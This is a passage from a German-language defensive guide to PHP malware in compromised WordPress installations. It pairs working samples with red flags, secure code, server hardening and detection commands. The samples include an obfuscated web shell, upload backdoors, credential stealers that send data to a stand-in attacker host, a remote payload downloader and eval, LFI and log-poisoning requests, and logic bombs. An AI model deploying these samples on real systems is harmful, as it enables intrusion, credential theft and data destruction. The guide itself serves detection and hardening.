Dieses Muster wurde in kompromittierten WordPress-Installationen als scheinbar harmlose Mailer-Datei gefunden:
<?php
// Dateiname: class-phpmailer.php – imitiert legitime WordPress-Datei
// Obfuskierungstechniken kombiniert: str_replace + base64 im Parameter
$fn = str_replace('_', '', 'sy_st_em'); // ergibt: system
$p = @$_POST[base64_decode('Y21k')]; // base64("cmd") = "cmd"
if (isset($p)) {
@$fn($p);
}
?>
# base64("cmd") nachvollziehen:
echo 'Y21k' | base64 -d
# cmd
# Aufruf:
curl -X POST http://opfer.example.com/wp-includes/class-phpmailer.php \
-d 'cmd=id'
Red Flags
eval()– führt beliebigen PHP-Code zur Laufzeit ausbase64_decode()kombiniert miteval()– klassisches Obfuskierungsmustergzinflate(),gzuncompress(),str_rot13()assert()– verhält sich wieeval(), wird seltener gefiltertcreate_function()– veraltete Alternative zu anonymen Funktionen, häufig in altem Malware-Code- Strings über 500 Zeichen ohne Leerzeichen – Hinweis auf eingebetteten Payload
chr()-Verkettungen zur Rekonstruktion von Funktionsnamenpreg_replace()mit/e-Modifier (PHP < 7.0) – führt Replacement als PHP-Code aus
Gegenmaßnahmen
Unsicherer Code (so sieht Obfuskierung in einem eigentlich harmlosen Kontext aus)
<?php
// UNSICHER – eval mit Benutzereingabe, auch ohne Obfuskierung gefährlich
$template = $_GET['tpl'];
eval('echo "' . $template . '";');
// Angreifer gibt ein: "; system('id'); echo "
?>
Sicherer Code – eval grundsätzlich vermeiden
<?php
// SICHER – Template-Logik ohne eval
$allowed_templates = ['home', 'about', 'contact'];
$tpl = $_GET['tpl'] ?? 'home';
if (!in_array($tpl, $allowed_templates, true)) {
die("Unbekanntes Template.");
}
// Datei mit festem Pfad einbinden – kein User-Input im Pfad
include __DIR__ . '/templates/' . $tpl . '.php';
?>
disable_functions in php.ini
; /etc/php/8.2/apache2/php.ini
; Hinweis: eval() ist ein Sprachkonstrukt, KEIN Funktionsaufruf
; → es kann NICHT über disable_functions deaktiviert werden
; assert() und create_function() hingegen schon:
disable_functions = assert, create_function
Obfuszierten Code aufspüren
# eval() mit Encoding-Funktionen kombiniert
grep -rn --include="*.php" \
-e "eval\s*(base64_decode" \
-e "eval\s*(gzinflate" \
-e "eval\s*(str_rot13" \
-e "assert\s*(" \
-e "create_function" \
/var/www/html/
# Sehr lange Strings (Payload-Indikator) – minifizierte legitime Dateien ausschließen
grep -rn --include="*.php" -P '.{500,}' /var/www/html/ | grep -v "\.min\.php"
# chr()-Verkettungen (Funktionsnamen-Rekonstruktion)
grep -rn --include="*.php" "chr([0-9]\+)" /var/www/html/
Payload manuell dekodieren (ohne Ausführung)
# Base64 dekodieren
echo 'ENCODED_STRING' | base64 -d
# Base64 + gzip
echo 'ENCODED_STRING' | base64 -d | gunzip 2>/dev/null
# PHP-Oneliner zur Analyse (kein eval!)
php -r "echo base64_decode('ENCODED_STRING');"
php -r "echo gzinflate(base64_decode('ENCODED_STRING'));"
php -r "echo str_rot13('ENCODED_STRING');"
ClamAV und Maldet
# ClamAV installieren und aktualisieren
apt install clamav
freshclam
# PHP-Dateien scannen
clamscan -r --include="*.php" /var/www/html/
# Linux Malware Detect (Maldet)
wget https://www.rfxn.com/downloads/maldetect-current.tar.gz
tar xzf maldetect-current.tar.gz
cd maldetect-*/
./install.sh
# Scan starten
maldet --scan-all /var/www/html/
maldet --report list
3. File Upload Backdoors
Was der Angreifer will
Eine PHP-Datei als Bild oder Dokument getarnt hochladen und anschließend als Web Shell ausführen. Das Ziel ist, durch eine fehlerhaft implementierte Upload-Funktion eine ausführbare Datei in ein öffentlich erreichbares Verzeichnis zu platzieren.
Angriff: Datei mit doppelter Endung
# Angreifer lädt eine Datei namens "shell.php.jpg" hoch
# Falls der Server nur die letzte Endung prüft → wird als Bild akzeptiert
# Falls Apache mit AddHandler oder MultiViews konfiguriert ist → wird als PHP ausgeführt
curl -F "file=@shell.php.jpg" http://opfer.example.com/upload.php
# Datei landet in /uploads/shell.php.jpg
# Ausführung als PHP (bei fehlerhafter Apache-Konfiguration):
curl "http://opfer.example.com/uploads/shell.php.jpg?cmd=id"
Angriff: PHP-Datei mit gefälschtem MIME-Type
# Content-Type-Header wird vom Angreifer manipuliert – server-side MIME-Prüfung fehlt
curl -X POST http://opfer.example.com/upload.php \
-F "file=@webshell.php;type=image/jpeg"
# Server akzeptiert die Datei weil Content-Type = image/jpeg → landet als .php im Webroot
Unsicherer Upload-Code (das eigentliche Problem)
<?php
// UNSICHER – nur Content-Type aus dem Request geprüft (vom Angreifer frei wählbar)
if ($_FILES['file']['type'] === 'image/jpeg') {
move_uploaded_file(
$_FILES['file']['tmp_name'],
'/var/www/html/uploads/' . $_FILES['file']['name'] // Original-Name → gefährlich
);
echo "Upload OK";
}
?>
Red Flags
$_FILES['x']['type']wird ohne serverseitige MIME-Prüfung verwendetmove_uploaded_file()mit Original-Dateiname ($_FILES['x']['name'])- Upload-Ziel liegt innerhalb des Webroot
- Keine Prüfung der Dateiendung gegen eine Whitelist
- Dateinamen wie
shell.php.jpg,image.png.phpin Upload-Logs
Gegenmaßnahmen
Sicherer Upload-Code
<?php
// SICHER – serverseitige MIME-Prüfung, Whitelist, Umbenennung, Upload außerhalb Webroot
$allowed_mime_types = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
$upload_dir = '/var/data/uploads/'; // NICHT innerhalb /var/www/html !
// Fehlerprüfung
if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
http_response_code(400);
die("Kein gültiger Upload.");
}
// MIME-Typ serverseitig prüfen – NICHT $_FILES['file']['type'] verwenden!
// fileinfo liest die Magic Bytes der Datei selbst
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($_FILES['file']['tmp_name']);
if (!in_array($mime, $allowed_mime_types, true)) {
http_response_code(415);
die("Dateityp nicht erlaubt: " . htmlspecialchars($mime));
}
// Dateiendung aus MIME ableiten – Original-Name wird komplett verworfen
$mime_to_ext = [
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/webp' => 'webp',
];
$ext = $mime_to_ext[$mime];
$new_name = bin2hex(random_bytes(16)) . '.' . $ext; // zufälliger Name
if (!move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . $new_name)) {
http_response_code(500);
die("Speichern fehlgeschlagen.");
}
echo "Gespeichert als: " . htmlspecialchars($new_name);
?>
PHP-Ausführung in Upload-Verzeichnis deaktivieren
# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
php_flag engine off
<FilesMatch "\.php[0-9]?$">
Require all denied
</FilesMatch>
# Auch .phtml, .phar blockieren:
<FilesMatch "\.(phtml|phar|php3|php4|php5|php7)$">
Require all denied
</FilesMatch>
</Directory>
a2enconf no-php-uploads
systemctl reload apache2
Apache: Gefährliche MultiViews-Konfiguration vermeiden
# MultiViews kann dazu führen dass shell.php.jpg als PHP ausgeführt wird
# SICHER: MultiViews deaktivieren
<Directory /var/www/html>
Options -MultiViews
</Directory>
# Gefährliche AddHandler-Direktiven vermeiden:
# UNSICHER (niemals so konfigurieren):
# AddHandler application/x-httpd-php .php .php5 .phtml .phar
Suche nach Upload-Backdoors
# PHP-Dateien in Upload-Verzeichnissen
find /var/www/html/uploads -name "*.php*" -type f
find /var/www/html/uploads -name "*.phar" -type f
find /var/www/html/uploads -name "*.phtml" -type f
# Dateien mit doppelter Endung
find /var/www/html/uploads -name "*.php.*" -type f
# Access-Log: PHP-Aufrufe aus Upload-Verzeichnis
grep -E "/(uploads|files|media)/.*\.(php|phar|phtml)" /var/log/apache2/access.log
4. Credential & Data Stealers
Was der Angreifer will
Admin-Passwörter, Session-Cookies und Datenbankzugangsdaten stehlen. Der Angreifer modifiziert dazu bestehende Login-Formulare oder fügt Code in zentrale Include-Dateien ein, der Zugangsdaten im Hintergrund mitloggt oder an einen externen Server sendet – ohne dass der legitime Benutzer etwas bemerkt.
Variante 1: Credentials in versteckte Datei schreiben
<?php
// Eingeschleust in eine Login-Seite (z. B. wp-login.php, index.php)
// Loggt Benutzername + Passwort + IP in eine versteckte Datei
if (isset($_POST['log']) && isset($_POST['pwd'])) {
$log_file = $_SERVER['DOCUMENT_ROOT'] . '/.cache/tmp/.data';
$entry = date('Y-m-d H:i:s') . ' | '
. $_SERVER['REMOTE_ADDR'] . ' | '
. $_POST['log'] . ' | '
. $_POST['pwd'] . "\n";
file_put_contents($log_file, $entry, FILE_APPEND);
}
// Danach normaler Login-Code – Opfer bemerkt nichts
?>
# Angreifer liest die gesammelte Log-Datei aus (über Web Shell oder direkten Zugriff):
curl "http://opfer.example.com/.cache/tmp/.data"
# 2024-05-01 14:23:11 | 192.168.1.50 | admin | SuperSecret123
Variante 2: Credentials per HTTP an externen Server senden
<?php
// Eingeschleust in functions.php oder eine zentrale Include-Datei
// Sendet Credentials sofort an Angreifer-Server
if (!empty($_POST)) {
$data = http_build_query($_POST);
// file_get_contents mit URL benötigt allow_url_fopen = On
@file_get_contents('http://angreifer.example.com/collect.php?' . $data);
// Alternativ mit curl (funktioniert auch wenn allow_url_fopen = Off):
// $ch = curl_init('http://angreifer.example.com/collect.php');
// curl_setopt($ch, CURLOPT_POST, 1);
// curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
// curl_exec($ch);
}
?>
Variante 3: Session-Cookie stehlen
<?php
// Eingeschleust in eine Seite die nach dem Login aufgerufen wird
// Stiehlt den Session-Cookie des angemeldeten Benutzers
if (isset($_COOKIE['PHPSESSID'])) {
$stolen = date('Y-m-d H:i:s') . ' | '
. $_SERVER['REMOTE_ADDR'] . ' | '
. 'PHPSESSID=' . $_COOKIE['PHPSESSID'] . "\n";
file_put_contents('/tmp/.sessions', $stolen, FILE_APPEND);
}
?>
# Mit gestohlenem Cookie einloggen ohne Passwort:
curl -b "PHPSESSID=abc123gestohlen" http://opfer.example.com/wp-admin/
Red Flags
- Schreibzugriffe auf Dateien in
/tmp/,/.cache/, versteckte Dateien (.data,.log) file_put_contents()oderfwrite()mit$_POST/$_GET-Inhalten- Unerwartete ausgehende HTTP-Requests (
file_get_contents(URL),curl_exec()) - Unbekannte Logdateien mit Credentials-ähnlichem Inhalt
- Modifikation von Login-Dateien (
wp-login.php,index.php)
Gegenmaßnahmen
Passwörter niemals im Klartext verarbeiten
<?php
// UNSICHER – Passwort wird als Klartext verarbeitet und ist damit für Stealer zugänglich
$password = $_POST['password'];
if ($password === $stored_password) { /* Login */ }
// SICHER – Passwort wird sofort als Hash verglichen, nie gespeichert oder geloggt
$password = $_POST['password'];
if (password_verify($password, $stored_hash)) { /* Login */ }
// password_hash() zum Speichern: $hash = password_hash($password, PASSWORD_BCRYPT);
?>
allow_url_fopen deaktivieren
; /etc/php/8.2/apache2/php.ini
; Verhindert file_get_contents() mit URLs → Variante 2 funktioniert nicht mehr
allow_url_fopen = Off
allow_url_include = Off
Ausgehende Verbindungen per Firewall blockieren (nftables)
# Webserver-Prozess (www-data) darf keine ausgehenden HTTP/HTTPS-Verbindungen aufbauen
# Ausnahme: explizit erlaubte Ziele (z. B. eigene API)
nft add rule inet filter output \
skuid www-data \
tcp dport { 80, 443 } \
ip daddr != 192.168.1.1 \
drop
Suche nach Credential-Stealern
# Schreibzugriffe auf $_POST-Inhalte in PHP-Dateien
grep -rn --include="*.php" \
-e "file_put_contents.*_POST" \
-e "file_put_contents.*_GET" \
-e "fwrite.*_POST" \
/var/www/html/
# Ausgehende HTTP-Requests in PHP-Dateien
grep -rn --include="*.php" \
-e "file_get_contents\s*(['\"]http" \
-e "curl_setopt.*CURLOPT_URL" \
/var/www/html/
# Versteckte Dateien mit Credential-ähnlichem Inhalt
find /var/www/html -name ".*" -type f | xargs grep -l "password\|passwd\|PHPSESSID" 2>/dev/null
# Netzwerkverbindungen des Webservers überwachen
ss -tulpn | grep apache2
lsof -i -n -P | grep php
5. Remote Malware Downloader
Was der Angreifer will
Neuen Schadcode zur Laufzeit von einem externen Server nachladen und ausführen. Der initiale Code ist minimal und unverdächtig – der eigentliche Payload kommt erst später. Das ermöglicht es dem Angreifer, die Shell zu aktualisieren oder verschiedene Payloads nachzuladen, ohne erneut die Webapplikation kompromittieren zu müssen.
Variante 1: file_get_contents + eval
<?php
// Lädt PHP-Code von einem externen Server und führt ihn direkt aus
// allow_url_fopen muss On sein (Standard in vielen Installationen)
$url = 'http://c2.angreifer.example.com/payload.php';
$payload = file_get_contents($url);
eval($payload);
?>
Variante 2: curl + eval (funktioniert auch wenn allow_url_fopen = Off)
<?php
$ch = curl_init('http://c2.angreifer.example.com/stage2.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // auch HTTPS-C2-Server möglich
$payload = curl_exec($ch);
curl_close($ch);
eval($payload);
?>
Variante 3: Payload auf Disk schreiben + include (persistenter)
<?php
// Schreibt den nachgeladenen Code als PHP-Datei und bindet sie ein
// Vorteil für Angreifer: funktioniert auch nach C2-Server-Ausfall weiter
$payload_url = 'http://c2.angreifer.example.com/update.php';
$local_cache = $_SERVER['DOCUMENT_ROOT'] . '/wp-content/uploads/.update.php';
$code = file_get_contents($payload_url);
file_put_contents($local_cache, $code);
include $local_cache;
?>
Red Flags
file_get_contents()mit einer URL als Parametercurl_exec()gefolgt voneval()file_put_contents()mit dynamischem Inhalt + anschließendeminclude()- Requests zu unbekannten Domains im Netzwerk-Traffic
- DNS-Anfragen an unbekannte Hosts aus dem Webserver-Prozess
Gegenmaßnahmen
allow_url_fopen und allow_url_include deaktivieren
; /etc/php/8.2/apache2/php.ini
allow_url_fopen = Off ; file_get_contents() kann keine URLs mehr öffnen
allow_url_include = Off ; include/require können keine URLs mehr einbinden
open_basedir – Dateizugriff einschränken
; PHP darf nur innerhalb dieser Verzeichnisse auf Dateien zugreifen
; Verhindert Variante 3 (Schreiben außerhalb des definierten Bereichs)
open_basedir = /var/www/html:/tmp
Ausgehende Verbindungen per nftables blockieren
# www-data darf keine ausgehenden TCP-Verbindungen aufbauen
nft add rule inet filter output \
skuid www-data \
tcp flags syn \
drop
# Alternativ: nur explizit erlaubte Ziele freigeben
# nft add rule inet filter output skuid www-data ip daddr 192.168.1.100 accept
# nft add rule inet filter output skuid www-data drop
DNS-Monitoring
# DNS-Anfragen des Webservers mitschneiden
tcpdump -i eth0 -n port 53 and host 127.0.0.1
# Suricata-Regel: unbekannte externe DNS-Anfragen vom Webserver
# alert dns any any -> any 53 (msg:"PHP process DNS query to unknown host"; \
# dns.query; content:!"intern.example.com"; sid:9001;)
Downloader-Muster im Code aufspüren
# file_get_contents mit URL
grep -rn --include="*.php" \
-e "file_get_contents\s*(['\"]http" \
-e "file_get_contents\s*(\$" \
/var/www/html/
# curl gefolgt von eval (mehrzeilig – Kontext prüfen)
grep -rn --include="*.php" "curl_exec" /var/www/html/
# file_put_contents gefolgt von include in selber Datei
grep -rn --include="*.php" "file_put_contents" /var/www/html/ | \
while read file; do
grep -l "include\|require" "$(echo $file | cut -d: -f1)" 2>/dev/null
done
6. Privilege Escalation via PHP Misconfiguration
Was der Angreifer will
Durch fehlerhafte PHP- oder Serverkonfiguration höhere Rechte erlangen oder auf Dateien zugreifen, die außerhalb des Webroots liegen – z. B. Systemdateien, Konfigurationen mit Datenbankpasswörtern oder SSH-Keys. Klassische Angriffsvektoren sind Local File Inclusion (LFI) und fehlende open_basedir-Einschränkungen.
Angriff: Local File Inclusion (LFI)
<?php
// UNSICHER – Benutzereingabe direkt in include()
// Dateiname kommt ungefiltert aus dem GET-Parameter
$page = $_GET['page'];
include($page . '.php');
?>
# Normaler Aufruf:
curl "http://opfer.example.com/index.php?page=home"
# → include('home.php')
# LFI – Angreifer liest /etc/passwd:
curl "http://opfer.example.com/index.php?page=../../../etc/passwd%00"
# %00 = Null-Byte (PHP < 5.3.4): terminiert den String → .php-Endung wird abgeschnitten
# → include('../../../etc/passwd')
# LFI ohne Null-Byte (PHP-Wrapper):
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"
# Gibt /etc/passwd base64-kodiert zurück
# Ergebnis base64-dekodieren:
curl "http://opfer.example.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd" \
| base64 -d
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
Angriff: LFI → RCE über Log Poisoning
# Schritt 1: PHP-Code in Apache-Log einschleusen (User-Agent-Feld)
curl -A "<?php system(\$_GET['cmd']); ?>" http://opfer.example.com/
# Schritt 2: Log über LFI einbinden → PHP-Code wird ausgeführt
curl "http://opfer.example.com/index.php?page=../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data) ...
Angriff: require mit $_REQUEST (LFI über POST)
<?php
// UNSICHER – noch gefährlicher als include, weil require bei Fehler abbricht
// und der Angreifer daraus Informationen über das Dateisystem ableiten kann
require($_REQUEST['file']);
?>
Red Flags
include($_GET['page']),require($_REQUEST['file'])ohne Whitelist../oder%2e%2e%2fin URL-Parametern- PHP-Wrapper wie
php://filter,php://input,data://in Parametern - Fehlende
open_basedir-Konfiguration - Requests mit Null-Byte (
%00) in Parametern
Gegenmaßnahmen
Sicherer Code – Whitelist statt freie Eingabe
<?php
// SICHER – nur erlaubte Seiten können eingebunden werden
// Benutzereingabe wird NIEMALS direkt in einen Dateipfad übernommen
$allowed_pages = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'] ?? 'home';
if (!in_array($page, $allowed_pages, true)) {
http_response_code(404);
die("Seite nicht gefunden.");
}
// Fester Basispfad + validierter Name aus Whitelist
include __DIR__ . '/pages/' . $page . '.php';
?>
open_basedir in php.ini
; PHP darf nur auf Dateien innerhalb dieser Pfade zugreifen
; Auch php://filter-Angriffe auf /etc/passwd werden damit blockiert
open_basedir = /var/www/html:/tmp
PHP-Wrapper in der WAF blockieren
# Coraza / ModSecurity: PHP-Wrapper in Request-Parametern blockieren
SecRule ARGS "@rx (php://|data://|file://|expect://|zip://)" \
"id:1003,phase:2,deny,status:403,log,msg:'PHP Wrapper in Request Parameter'"
# Directory Traversal blockieren
SecRule ARGS "@rx \.\.[/\\]" \
"id:1004,phase:2,deny,status:403,log,msg:'Directory Traversal Attempt'"
LFI-Versuche in Logs erkennen
# Directory-Traversal-Versuche im Access-Log
grep -E "(\.\./|%2e%2e%2f|%252e)" /var/log/apache2/access.log
# PHP-Wrapper-Angriffe
grep -E "(php://|data://|file://|expect://)" /var/log/apache2/access.log
# Log-Poisoning-Versuch: PHP-Code im User-Agent
grep -E "<\?php" /var/log/apache2/access.log
7. Time-Delayed / Logic Bomb Malware
Was der Angreifer will
Versteckt bleiben bis eine bestimmte Bedingung erfüllt ist – ein Datum, eine Uhrzeit, ein bestimmter Benutzername oder eine IP-Adresse. Der Code „tut nichts" solange die Bedingung nicht zutrifft und ist deshalb bei einfachen Scans schwer zu entdecken. Logic Bombs werden oft als Sabotage eingesetzt (Löschen von Daten an einem bestimmten Datum) oder als verzögerter Backdoor-Aktivator.
Variante 1: Datum-basierte Aktivierung
<?php
// Payload wird nur an einem bestimmten Datum ausgeführt
// An allen anderen Tagen: kein verdächtiges Verhalten
$target_date = '2024-12-24'; // Weihnachten – viele Admins im Urlaub
if (date('Y-m-d') === $target_date) {
// Alle PHP-Dateien im Webroot überschreiben
foreach (glob('/var/www/html/**/*.php') as $file) {
file_put_contents($file, '<?php echo "Hacked"; ?>');
}
}
// Normaler Code folgt – Datei sieht ansonsten harmlos aus
?>
Variante 2: Uhrzeit-basierte Aktivierung (Nacht)
<?php
// Aktiviert sich nur zwischen 02:00 und 03:00 Uhr
// Monitoring und Admins schlafen meist zu dieser Zeit
$hour = (int) date('G');
if ($hour >= 2 && $hour < 3) {
system($_GET['cmd'] ?? 'id');
}
?>
Variante 3: Bestimmter Benutzer als Trigger
<?php
// Payload nur bei Login des Benutzers "admin" aktiviert
// Verknüpfung mit Credential-Stealer möglich
session_start();
if (isset($_SESSION['user']) && $_SESSION['user'] === 'admin') {
// Datenbankdump erstellen und in öffentlichem Verzeichnis ablegen
system('mysqldump -u root -pROOTPASSWD wordpress > /var/www/html/uploads/.dump.sql');
}
?>
Variante 4: IP-basierte Aktivierung (nur für Angreifer sichtbar)
<?php
// Web Shell ist nur für eine bestimmte IP aktiv
// Für alle anderen Besucher sieht die Seite völlig normal aus
$attacker_ip = '198.51.100.42'; // Angreifer-IP
if ($_SERVER['REMOTE_ADDR'] === $attacker_ip && isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
// Normale Seite ausgeben
include 'index_normal.php';
}
?>
Red Flags
date(),time(),strtotime()in Kombination mit Bedingungen die selten wahr sind- Hartcodierte Datumswerte (
'2024-12-24') - IP-Adress-Vergleiche mit
$_SERVER['REMOTE_ADDR']die bestimmte IPs aktivieren - Code-Blöcke die scheinbar „nichts tun" – aber unter einer Bedingung stehen
- Session- oder Benutzerprüfungen in Dateien die keine Zugangskontrolle benötigen
Gegenmaßnahmen
Statische Analyse: Verdächtige Datumsprüfungen finden
# date() in Kombination mit Vergleichsoperatoren
grep -rn --include="*.php" \
-e "date\s*(.*==\s*['\"]" \
-e "strtotime\s*(" \
/var/www/html/
# Hartcodierte IP-Adressen in PHP-Dateien
grep -rn --include="*.php" \
-P "REMOTE_ADDR.*['\"][0-9]{1,3}\.[0-9]{1,3}" \
/var/www/html/
# Session-Benutzerprüfungen in unerwarteten Dateien
grep -rn --include="*.php" \
-e "_SESSION\['user'\]" \
-e "_SESSION\['username'\]" \
/var/www/html/uploads/ /var/www/html/cache/ /var/www/html/images/
Integrity Monitoring mit AIDE
apt install aide
# Konfiguration: alle PHP-Dateien überwachen
echo "/var/www/html CONTENT_EX" >> /etc/aide/aide.conf
# Datenbank initialisieren (nach sauberem Deployment!)
aide --init
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
# Tägliche Prüfung
echo "0 4 * * * root aide --check | mail -s 'AIDE Report' admin@example.com" \
>> /etc/cron.d/aide
# Manueller Check:
aide --check
# AIDE found differences between database and filesystem!
# changed: /var/www/html/wp-includes/class-phpmailer.php
Git für Deployment nutzen – unerwartete Änderungen sofort erkennen
cd /var/www/html
# Status prüfen: welche Dateien wurden seit letztem Deployment geändert?
git status
# modified: wp-includes/class-phpmailer.php ← verdächtig!
# Diff anzeigen:
git diff wp-includes/class-phpmailer.php
# Alle seit einer Woche geänderten Dateien die nicht im Git sind:
find /var/www/html -name "*.php" -newer /var/www/html/index.php -mtime -7 | \
while read f; do git ls-files --error-unmatch "$f" 2>/dev/null || echo "UNTRACKED: $f"; done
Übersichtstabelle
| Muster | Ziel des Angreifers | Wichtigste Red Flags | Wichtigste Gegenmaßnahme |
|---|---|---|---|
| Web Shell Backdoor | Remote Command Execution | system(), shell_exec() + $_GET/$_POST |
PHP in Uploads deaktivieren, disable_functions
|
| Obfuscated Malware | Erkennung umgehen | eval(base64_decode(...)), assert(), lange Strings |
ClamAV/Maldet, statische Analyse |
| File Upload Backdoor | PHP-Datei ins Webroot schleusen | Kein MIME-Check, Original-Dateiname, PHP in /uploads/ |
Upload außerhalb Webroot, serverseitiger MIME-Check |
| Credential Stealer | Passwörter/Cookies stehlen | file_put_contents mit $_POST, ausgehende HTTP-Requests |
allow_url_fopen=Off, Firewall ausgehend
|
| Remote Downloader | Payload nachladen + ausführen | file_get_contents(URL) + eval(), curl_exec() + eval() |
allow_url_fopen=Off, ausgehende Firewall
|
| Privilege Escalation (LFI) | Dateisystem auslesen, RCE | include($_GET[...]), ../ in Parametern, PHP-Wrapper |
Whitelist, open_basedir, WAF
|
| Logic Bomb / Time Delay | Versteckt bleiben bis Trigger | Datumsprüfungen, IP-Checks, „toter" Code unter Bedingung | AIDE Integrity Monitoring, Git-Deployment |